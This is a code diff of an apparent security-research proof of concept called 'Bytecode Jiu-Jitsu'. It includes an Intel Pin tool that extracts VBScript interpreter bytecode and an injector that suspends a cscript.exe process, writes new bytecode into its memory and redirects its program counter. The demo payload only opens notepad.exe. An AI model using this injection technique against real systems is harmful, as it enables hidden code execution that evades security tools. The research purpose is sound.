VOID hdlr_GlobalAlloc_after(CHAR* name, ADDRINT allocated_addr);
|
||||
VOID hdlr_LocalAlloc_before(CHAR* name, size_t bytes);
|
||||
VOID hdlr_LocalAlloc_after(CHAR* name, ADDRINT allocated_addr);
|
||||
VOID hdlr_HeapAlloc_before(CHAR *name, size_t bytes);
|
||||
VOID hdlr_HeapAlloc_after(CHAR *name, ADDRINT allocated_addr);
|
||||
VOID hdlr_malloc_before(CHAR *name, size_t bytes);
|
||||
VOID hdlr_malloc_after(CHAR *name, ADDRINT allocated_addr);
|
||||
VOID hdlr_operator_new_before(CHAR* name, size_t bytes);
|
||||
VOID hdlr_operator_new_after(CHAR* name, ADDRINT allocated_addr);
|
||||
VOID hdlr_VirtualAlloc_before(CHAR* name, size_t bytes);
|
||||
VOID hdlr_VirtualAlloc_after(CHAR* name, ADDRINT allocated_addr);
|
||||
|
||||
#endif // _EXTRACTOR_BJJ_HANDLER_H_
|
||||
@@ -0,0 +1,26 @@
|
||||
#
|
||||
# Copyright (C) 2004-2013 Intel Corporation.
|
||||
# SPDX-License-Identifier: MIT
|
||||
#
|
||||
|
||||
##############################################################
|
||||
#
|
||||
# DO NOT EDIT THIS FILE!
|
||||
#
|
||||
##############################################################
|
||||
|
||||
# If the tool is built out of the kit, PIN_ROOT must be specified in the make invocation and point to the kit root.
|
||||
ifdef PIN_ROOT
|
||||
CONFIG_ROOT := $(PIN_ROOT)/source/tools/Config
|
||||
else
|
||||
CONFIG_ROOT := ../Config
|
||||
endif
|
||||
include $(CONFIG_ROOT)/makefile.config
|
||||
include makefile.rules
|
||||
include $(TOOLS_ROOT)/Config/makefile.default.rules
|
||||
|
||||
##############################################################
|
||||
#
|
||||
# DO NOT EDIT THIS FILE!
|
||||
#
|
||||
##############################################################
|
||||
@@ -0,0 +1,85 @@
|
||||
#
|
||||
# Copyright (C) 2012-2023 Intel Corporation.
|
||||
# SPDX-License-Identifier: MIT
|
||||
#
|
||||
|
||||
##############################################################
|
||||
#
|
||||
# This file includes all the test targets as well as all the
|
||||
# non-default build rules and test recipes.
|
||||
#
|
||||
##############################################################
|
||||
|
||||
|
||||
##############################################################
|
||||
#
|
||||
# Test targets
|
||||
#
|
||||
##############################################################
|
||||
|
||||
###### Place all generic definitions here ######
|
||||
|
||||
# This defines tests which run tools of the same name. This is simply for convenience to avoid
|
||||
# defining the test name twice (once in TOOL_ROOTS and again in TEST_ROOTS).
|
||||
# Tests defined here should not be defined in TOOL_ROOTS and TEST_ROOTS.
|
||||
TEST_TOOL_ROOTS := MyPinTool
|
||||
|
||||
# This defines the tests to be run that were not already defined in TEST_TOOL_ROOTS.
|
||||
TEST_ROOTS :=
|
||||
|
||||
# This defines the tools which will be run during the the tests, and were not already defined in
|
||||
# TEST_TOOL_ROOTS.
|
||||
TOOL_ROOTS :=
|
||||
|
||||
# This defines the static analysis tools which will be run during the the tests. They should not
|
||||
# be defined in TEST_TOOL_ROOTS. If a test with the same name exists, it should be defined in
|
||||
# TEST_ROOTS.
|
||||
# Note: Static analysis tools are in fact executables linked with the Pin Static Analysis Library.
|
||||
# This library provides a subset of the Pin APIs which allows the tool to perform static analysis
|
||||
# of an application or dll. Pin itself is not used when this tool runs.
|
||||
SA_TOOL_ROOTS :=
|
||||
|
||||
# This defines all the applications that will be run during the tests.
|
||||
APP_ROOTS :=
|
||||
|
||||
# This defines any additional object files that need to be compiled.
|
||||
OBJECT_ROOTS :=
|
||||
|
||||
# This defines any additional dlls (shared objects), other than the pintools, that need to be compiled.
|
||||
DLL_ROOTS :=
|
||||
|
||||
# This defines any static libraries (archives), that need to be built.
|
||||
LIB_ROOTS :=
|
||||
|
||||
###### Handle exceptions here (OS/arch related) ######
|
||||
|
||||
RUNNABLE_TESTS := $(TEST_TOOL_ROOTS) $(TEST_ROOTS)
|
||||
|
||||
###### Handle exceptions here (bugs related) ######
|
||||
|
||||
###### Define the sanity subset ######
|
||||
|
||||
# This defines the list of tests that should run in sanity. It should include all the tests listed in
|
||||
# TEST_TOOL_ROOTS and TEST_ROOTS excluding only unstable tests.
|
||||
SANITY_SUBSET := $(TEST_TOOL_ROOTS) $(TEST_ROOTS)
|
||||
|
||||
|
||||
##############################################################
|
||||
#
|
||||
# Test recipes
|
||||
#
|
||||
##############################################################
|
||||
|
||||
# This section contains recipes for tests other than the default.
|
||||
# See makefile.default.rules for the default test rules.
|
||||
# All tests in this section should adhere to the naming convention: <testname>.test
|
||||
|
||||
##############################################################
|
||||
#
|
||||
# Build rules
|
||||
#
|
||||
##############################################################
|
||||
|
||||
# This section contains the build rules for all binaries that have special build rules.
|
||||
# See makefile.default.rules for the default build rules.
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
#include "memory.h"
|
||||
|
||||
extern PIN_MUTEX heap_mutex;
|
||||
extern unordered_map<ADDRINT, UINT32> heap_allocations;
|
||||
|
||||
|
||||
// Function to lookup size of heap memory
|
||||
UINT32 lookup_heap_size(ADDRINT target_addr) {
|
||||
ADDRINT addr;
|
||||
size_t size;
|
||||
|
||||
PIN_MutexLock(&heap_mutex);
|
||||
auto i = 0;
|
||||
for (auto heap: heap_allocations) {
|
||||
std::cout << "Iteration count: " << i++ << std::endl;
|
||||
addr = heap.first;
|
||||
size = heap.second;
|
||||
std::cout << "Address=" << addr << ", Size=" << size << std::endl;
|
||||
if (addr == target_addr) {
|
||||
PIN_MutexUnlock(&heap_mutex);
|
||||
return size;
|
||||
}
|
||||
else if (addr < target_addr && target_addr <= addr + size) {
|
||||
PIN_MutexUnlock(&heap_mutex);
|
||||
return addr + size - target_addr;
|
||||
}
|
||||
}
|
||||
PIN_MutexUnlock(&heap_mutex);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
#ifndef _EXTRACTOR_BJJ_MEMORY_H_
|
||||
#define _EXTRACTOR_BJJ_MEMORY_H_
|
||||
|
||||
#include "common.h"
|
||||
|
||||
UINT32 lookup_heap_size(ADDRINT addr);
|
||||
|
||||
#endif // _EXTRACTOR_BJJ_MEMORY_H_
|
||||
@@ -0,0 +1,58 @@
|
||||
#include "output.h"
|
||||
|
||||
|
||||
// Function to save Payload to a JSON file
|
||||
void save_payload_to_json(const Payload payload, const string& file_name) {
|
||||
string payload_json_string = serialize_payload(payload);
|
||||
|
||||
std::ofstream file(file_name);
|
||||
if (!file.is_open()) {
|
||||
std::cerr << "Failed to open file: " << file_name << std::endl;
|
||||
return;
|
||||
}
|
||||
file << payload_json_string;
|
||||
file.close();
|
||||
|
||||
cout << "[+] Payload saved to JSON file: "
|
||||
<< file_name
|
||||
<< endl;
|
||||
}
|
||||
|
||||
// Function to save Payload to a C header file
|
||||
VOID save_payload_to_header(const Payload payload, const string& file_name) {
|
||||
std::ofstream file(file_name);
|
||||
if (!file.is_open()) {
|
||||
std::cerr << "Failed to open file: " << file_name << std::endl;
|
||||
return;
|
||||
}
|
||||
|
||||
file << "#ifndef PAYLOAD_OUT_H\n";
|
||||
file << "#define PAYLOAD_OUT_H\n\n";
|
||||
|
||||
file << "#include <cstdint>\n\n";
|
||||
|
||||
file << "// Bytecode Data\n";
|
||||
file << "const BYTE bytecode_bytes[] = \"";
|
||||
for (size_t i = 0; i < payload.bytecode.len; ++i) {
|
||||
file << "\\x" << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(payload.bytecode.bytes[i]);
|
||||
}
|
||||
file << "\";\n";
|
||||
|
||||
file << "const size_t bytecode_len = " << std::dec << payload.bytecode.len << ";\n\n";
|
||||
|
||||
file << "// Symbol Table Data\n";
|
||||
file << "const BYTE symbol_table_bytes[] = \"";
|
||||
for (size_t i = 0; i < payload.symbol_tables[0].value_objects[0].len; ++i) {
|
||||
file << "\\x" << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(payload.symbol_tables[0].value_objects[0].bytes[i]);
|
||||
}
|
||||
file << "\";\n";
|
||||
|
||||
file << "const size_t symbol_table_len = " << std::dec << payload.symbol_tables[0].value_objects[0].len << ";\n\n";
|
||||
|
||||
file << "#endif // PAYLOAD_OUT_H\n";
|
||||
|
||||
file.close();
|
||||
cout << "[+] Payload saved to header file: "
|
||||
<< file_name
|
||||
<< endl;
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
#ifndef _EXTRACTOR_BJJ_OUTPUT_H_
|
||||
#define _EXTRACTOR_BJJ_OUTPUT_H_
|
||||
|
||||
#include "common.h"
|
||||
#include "config.h"
|
||||
#include "extract.h"
|
||||
#include "payload.h"
|
||||
#include <fstream>
|
||||
|
||||
using std::ofstream;
|
||||
|
||||
|
||||
VOID save_payload_to_json(const Payload payload, const string& file_name);
|
||||
VOID save_payload_to_header(const Payload payload, const string& file_name);
|
||||
|
||||
#endif // _EXTRACTOR_BJJ_OUTPUT_H_
|
||||
@@ -0,0 +1,24 @@
|
||||
#include "payload.h"
|
||||
|
||||
|
||||
std::string serialize_payload(Payload payload) {
|
||||
json payload_json;
|
||||
|
||||
for (auto i = 0; i < payload.bytecode.len; i++) {
|
||||
payload_json["bytecode"]["bytes"][i] = payload.bytecode.bytes[i];
|
||||
}
|
||||
payload_json["bytecode"]["len"] = payload.bytecode.len;
|
||||
|
||||
for (auto i = 0; i < payload.symbol_tables.size(); i++) {
|
||||
payload_json["symbol_tables"][i]["scope"] = payload.symbol_tables[i].scope;
|
||||
for (auto j = 0; j < payload.symbol_tables[i].value_objects.size(); j++) {
|
||||
for (auto k = 0; k < payload.symbol_tables[i].value_objects[j].len; k++) {
|
||||
payload_json["symbol_tables"][i]["value_objects"][j]["bytes"][k] = payload.symbol_tables[i].value_objects[j].bytes[k];
|
||||
}
|
||||
payload_json["symbol_tables"][i]["value_objects"][j]["len"] = payload.symbol_tables[i].value_objects[j].len;
|
||||
payload_json["symbol_tables"][i]["value_objects"][j]["index"] = payload.symbol_tables[i].value_objects[j].index;
|
||||
}
|
||||
}
|
||||
|
||||
return payload_json.dump(4);
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
#ifndef _EXTRACTOR_BJJ_PAYLOAD_H_
|
||||
#define _EXTRACTOR_BJJ_PAYLOAD_H_
|
||||
|
||||
#include "common.h"
|
||||
#include <nlohmann/json.hpp>
|
||||
|
||||
using json = nlohmann::json;
|
||||
|
||||
const UINT8 kSymbolTableTypeArray = 0x0;
|
||||
const UINT8 kSymbolTableTypeLinkedList = 0x1;
|
||||
const UINT8 kSymbolTableTypeDirect = 0x2;
|
||||
const UINT8 kSymbolTableScopeGlobal = 0x0;
|
||||
constexpr UINT8 kPayloadFileTypeJson = 0;
|
||||
constexpr UINT8 kPayloadFileTypeCHeader = 1;
|
||||
|
||||
typedef struct _Bytecode {
|
||||
std::vector<UINT8> bytes;
|
||||
size_t len;
|
||||
} Bytecode;
|
||||
|
||||
typedef struct _ValueObject {
|
||||
std::vector<UINT8> bytes;
|
||||
size_t len;
|
||||
UINT64 index;
|
||||
} ValueObject;
|
||||
|
||||
typedef struct _SymbolTable {
|
||||
UINT8 scope;
|
||||
std::vector<ValueObject> value_objects;
|
||||
} SymbolTable;
|
||||
|
||||
typedef struct _Payload {
|
||||
Bytecode bytecode;
|
||||
std::vector<SymbolTable> symbol_tables;
|
||||
} Payload;
|
||||
|
||||
string serialize_payload(Payload payload);
|
||||
|
||||
#endif // _EXTRACTOR_BJJ_PAYLOAD_H_
|
||||
@@ -0,0 +1 @@
|
||||
..\..\..\intel64\bin\pin.exe -t x64\Debug\Extractor-BJJ.dll -c test_config.json -p C_HEADER -o test_payload.h -- cscript.exe test.vbs
|
||||
@@ -0,0 +1,3 @@
|
||||
Dim Wsh
|
||||
Set Wsh = CreateObject("WScript.Shell")
|
||||
Wsh.Run "notepad.exe"
|
||||
@@ -0,0 +1,28 @@
|
||||
{
|
||||
"interp_module_name": "C:\\Windows\\System32\\vbscript.dll",
|
||||
"interp_func_offset": 33968,
|
||||
"management_structure_index": 1,
|
||||
"bytecode": {
|
||||
"reference_offsets": [
|
||||
0,
|
||||
480
|
||||
]
|
||||
},
|
||||
"symbol_tables": [
|
||||
{
|
||||
"type": 2,
|
||||
"scope": 0,
|
||||
"reference_offsets": [
|
||||
0,
|
||||
496
|
||||
],
|
||||
"forward_link_offset": 0
|
||||
}
|
||||
],
|
||||
"vpc": {
|
||||
"reference_offsets": [
|
||||
0,
|
||||
472
|
||||
]
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.10.35122.118
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Injector-BJJ", "Injector-BJJ\Injector-BJJ.vcxproj", "{379C4B26-4BD6-46A9-8176-C35817C93C07}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{379C4B26-4BD6-46A9-8176-C35817C93C07}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{379C4B26-4BD6-46A9-8176-C35817C93C07}.Debug|x64.Build.0 = Debug|x64
|
||||
{379C4B26-4BD6-46A9-8176-C35817C93C07}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{379C4B26-4BD6-46A9-8176-C35817C93C07}.Debug|x86.Build.0 = Debug|Win32
|
||||
{379C4B26-4BD6-46A9-8176-C35817C93C07}.Release|x64.ActiveCfg = Release|x64
|
||||
{379C4B26-4BD6-46A9-8176-C35817C93C07}.Release|x64.Build.0 = Release|x64
|
||||
{379C4B26-4BD6-46A9-8176-C35817C93C07}.Release|x86.ActiveCfg = Release|Win32
|
||||
{379C4B26-4BD6-46A9-8176-C35817C93C07}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {021647C1-9E8C-4752-A3B1-76428C1D71C1}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,246 @@
|
||||
#include "injector.h"
|
||||
|
||||
std::string log_file_name = "";
|
||||
TCHAR command_line[] = TEXT("cscript.exe target.vbs");
|
||||
|
||||
tmpl_NtQueryInformationThread fpNtQueryInformationThread;
|
||||
tmpl_NtQueryInformationProcess fpNtQueryInformationProcess;
|
||||
|
||||
std::ostream* out = NULL;
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
DWORD ret;
|
||||
bool result;
|
||||
STARTUPINFO si;
|
||||
PROCESS_INFORMATION pi;
|
||||
std::vector<HANDLE> hThreads;
|
||||
|
||||
Config config = {
|
||||
"C:\\Windows\\System32\\vbscript.dll",
|
||||
0x84b0,
|
||||
0,
|
||||
{ { 0x0, 0x1e0 } },
|
||||
{ { 2, 0, { 0x0, 0x1f0 }, 0 } },
|
||||
{ { 0x0, 0x1d8 } }
|
||||
};
|
||||
|
||||
// for notepad.exe
|
||||
BYTE bytecode_bytes[] = "\x56\x38\x00\x00\x00\x01\x00\x00\x03\x00\x0e\x48\x00\x00\x00\x28\x6c\x00\x00\x00\x01\x00\x1b\x01\x00\x03\x01\x19\x01\x00\x0e\x90\x00\x00\x00\x31\xb0\x00\x00\x00\x01\x00\x02\x01";
|
||||
BYTE value_object_bytes[] = "\xd0\x00\x00\x00\x20\x00\x00\x00\xb8\x00\x00\x00\x02\x00\x00\x00\xcc\x00\x00\x00\x01\x00\x00\x00\x10\x02\x00\x00\xbc\x00\x00\x00\x02\x00\x00\x00\xf0\x00\x00\x00\x20\x01\x00\x00\x47\x00\x00\x00\x62\x8e\x00\x00\x06\x00\x00\x00\x57\x00\x73\x00\x68\x00\x00\x00\x42\x0d\x6f\x26\x1a\x00\x00\x00\x57\x00\x53\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x2e\x00\x53\x00\x68\x00\x65\x00\x6c\x00\x6c\x00\x00\x00\x0b\xb7\xb7\x0f\x18\x00\x00\x00\x43\x00\x72\x00\x65\x00\x61\x00\x74\x00\x65\x00\x4f\x00\x62\x00\x6a\x00\x65\x00\x63\x00\x74\x00\x00\x00\xad\xba\xcb\x27\x9c\xe4\x16\x00\x00\x00\x6e\x00\x6f\x00\x74\x00\x65\x00\x70\x00\x61\x00\x64\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00\xe5\x88\x00\x00\x06\x00\x00\x00\x52\x00\x75\x00\x6e\x00\x00\x00\x89\xa9\xad\xba\x09\x00\x00\x00\x27\x00\x00\x00\x32\x00\x00\x00\x15\x00\x00\x00\xb0\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";
|
||||
|
||||
Bytecode bytecode = {
|
||||
bytecode_bytes,
|
||||
sizeof(bytecode_bytes)
|
||||
};
|
||||
|
||||
SymbolTable symbol_table = {
|
||||
0,
|
||||
{
|
||||
{
|
||||
value_object_bytes,
|
||||
sizeof(value_object_bytes),
|
||||
0
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
Payload payload = {
|
||||
bytecode,
|
||||
{ symbol_table }
|
||||
};
|
||||
|
||||
wchar_t search_text[] = L"Hello, Black Hat folks!";
|
||||
|
||||
Search search;
|
||||
search.type = kSearchTextTypeWchar;
|
||||
search.pattern_wcs = search_text;
|
||||
search.value_object_offset = 0x48;
|
||||
|
||||
argparse::ArgumentParser program("Injector-BJJ");
|
||||
program.add_argument("-c", "--config")
|
||||
.help("specify a config JSON file name.");
|
||||
program.add_argument("-s", "--search")
|
||||
.help("specify a search JSON file name.");
|
||||
program.add_argument("-p", "--payload")
|
||||
.help("specify a payload JSON file name.");
|
||||
|
||||
try {
|
||||
program.parse_args(argc, argv);
|
||||
}
|
||||
catch (const std::exception& err) {
|
||||
spdlog::error(err.what());
|
||||
std::exit(1);
|
||||
}
|
||||
|
||||
if (program.present("--config")) {
|
||||
auto config_file = program.get<std::string>("--config");
|
||||
spdlog::info("Reading config file: {}", config_file);
|
||||
std::string config_string = read_file(config_file);
|
||||
deserialize_config(config_string, config);
|
||||
}
|
||||
else {
|
||||
spdlog::info("No config file provided. Using embedded config.");
|
||||
}
|
||||
|
||||
if (program.present("--search")) {
|
||||
auto search_file = program.get<std::string>("--search");
|
||||
spdlog::info("Reading search file: {}", search_file);
|
||||
std::string search_string = read_file(search_file);
|
||||
deserialize_search(search_string, search);
|
||||
}
|
||||
else {
|
||||
spdlog::info("No search file provided. Using embedded search text.");
|
||||
}
|
||||
|
||||
if (program.present("--payload")) {
|
||||
auto payload_file = program.get<std::string>("--payload");
|
||||
spdlog::info("Reading payload file: {}", payload_file);
|
||||
std::string payload_string = read_file(payload_file);
|
||||
deserialize_payload(payload_string, payload);
|
||||
}
|
||||
else {
|
||||
spdlog::error("No payload file provided. Using embedded payload.");
|
||||
}
|
||||
|
||||
spdlog::info("This is a Bytecode Jiu-Jitsu injector. Let's roll!");
|
||||
|
||||
if (!log_file_name.empty())
|
||||
out = new std::ofstream(log_file_name.c_str());
|
||||
|
||||
if (!out) {
|
||||
char temp_path[MAX_PATH];
|
||||
|
||||
ret = GetTempPathA(MAX_PATH, (LPSTR)&temp_path);
|
||||
if (ret == 0) {
|
||||
spdlog::error("Error: could not get temp path.");
|
||||
} else {
|
||||
log_file_name = temp_path;
|
||||
log_file_name += "\\injector.log";
|
||||
out = new std::ofstream(log_file_name.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
if (out) {
|
||||
spdlog::info("Log file name: {}", log_file_name);
|
||||
} else {
|
||||
spdlog::info("Error: could not get temp path.");
|
||||
}
|
||||
|
||||
resolve_native_apis();
|
||||
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
|
||||
spdlog::info("Creating an interpreter process ... ");
|
||||
|
||||
result = CreateProcess(NULL,
|
||||
command_line,
|
||||
NULL,
|
||||
NULL,
|
||||
FALSE,
|
||||
CREATE_NEW_CONSOLE,
|
||||
NULL,
|
||||
NULL,
|
||||
&si,
|
||||
&pi);
|
||||
|
||||
if (!result) {
|
||||
log_err_msg();
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
spdlog::info("Done.");
|
||||
spdlog::info("Command line: ");
|
||||
std::wcout << command_line << std::endl;
|
||||
|
||||
// Wait for initialization of the interpreter process
|
||||
// Sleep(2000);
|
||||
|
||||
spdlog::info("Waiting for the debugger attach ... ");
|
||||
char c;
|
||||
std::cin >> c;
|
||||
|
||||
spdlog::info("Suspending threads ... ");
|
||||
|
||||
hThreads = get_thread_handles(pi.dwProcessId);
|
||||
// Sleep(300);
|
||||
suspend_threads(hThreads);
|
||||
|
||||
spdlog::info("Done.");
|
||||
|
||||
spdlog::info("Enumerating heap memory ... ");
|
||||
|
||||
std::list<BinaryContent> contents;
|
||||
std::list<BinaryContent> heap_contents;
|
||||
std::list<HeapInfo> heaps = get_heap_info(pi.dwProcessId);
|
||||
log_heap_info(heaps);
|
||||
heap_contents = get_heap_contents(pi.hProcess, heaps);
|
||||
contents.insert(contents.end(), heap_contents.begin(), heap_contents.end());
|
||||
|
||||
spdlog::info("Done.");
|
||||
|
||||
spdlog::info("Enumerating stack memory ... ");
|
||||
|
||||
std::list<BinaryContent> stack_contents;
|
||||
std::list<StackInfo> stacks = get_stack_info(pi.dwProcessId, pi.hProcess);
|
||||
log_stack_info(stacks);
|
||||
stack_contents = get_stack_contents(pi.hProcess, stacks);
|
||||
contents.insert(contents.end(), stack_contents.begin(), stack_contents.end());
|
||||
|
||||
spdlog::info("Done.");
|
||||
|
||||
spdlog::info("Searching a string: Hello, Black Hat folks!");
|
||||
|
||||
LPVOID management_structure_addr;
|
||||
management_structure_addr = 0x0;
|
||||
off_t block_offset;
|
||||
bool found;
|
||||
for (auto iter = contents.begin(); iter != contents.end(); iter++) {
|
||||
block_offset = 0;
|
||||
found = false;
|
||||
do {
|
||||
auto [match_offset, match_len] = search_characteristic_string(iter->bytes + block_offset, iter->len - block_offset, search);
|
||||
found = (match_len != 0);
|
||||
|
||||
if (found) {
|
||||
spdlog::info("A search pattern found at 0x{:x}", (int64_t)iter->addr + (int64_t)block_offset + (int64_t)match_offset);
|
||||
log_search_result(iter->bytes, iter->addr, block_offset + match_offset, match_len);
|
||||
LPVOID found_addr = find_management_structure(contents, (LPVOID)((int64_t)iter->addr + (int64_t)block_offset + (int64_t)match_offset), search.value_object_offset, 0);
|
||||
if (found_addr != NULL)
|
||||
management_structure_addr = found_addr;
|
||||
|
||||
block_offset += (match_offset + match_len);
|
||||
}
|
||||
} while (found);
|
||||
}
|
||||
|
||||
if (management_structure_addr != 0x0) {
|
||||
spdlog::info("A management structure addr found at 0x{:x}", (uint64_t)management_structure_addr);
|
||||
*out << "Management structure addr: 0x" << management_structure_addr << std::endl;
|
||||
} else {
|
||||
spdlog::error("Error: could not find a management structure addr.");
|
||||
spdlog::error("Exiting ...");
|
||||
return -1;
|
||||
}
|
||||
|
||||
inject(pi.hProcess, management_structure_addr, payload, config);
|
||||
|
||||
LPVOID bytecode_addr = find_bytecode_addr(pi.hProcess, management_structure_addr, config);
|
||||
overwrite_vpc(pi.hProcess, management_structure_addr, config, bytecode_addr);
|
||||
|
||||
spdlog::info("Resuming threads ... ");
|
||||
resume_threads(hThreads);
|
||||
spdlog::info("Done");
|
||||
|
||||
spdlog::info("Exiting ... ");
|
||||
|
||||
close_handles(hThreads);
|
||||
|
||||
for (auto iter = contents.begin(); iter != contents.end(); iter++) {
|
||||
delete[] iter->bytes;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,165 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{379c4b26-4bd6-46a9-8176-c35817c93c07}</ProjectGuid>
|
||||
<RootNamespace>InjectorBJJ</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
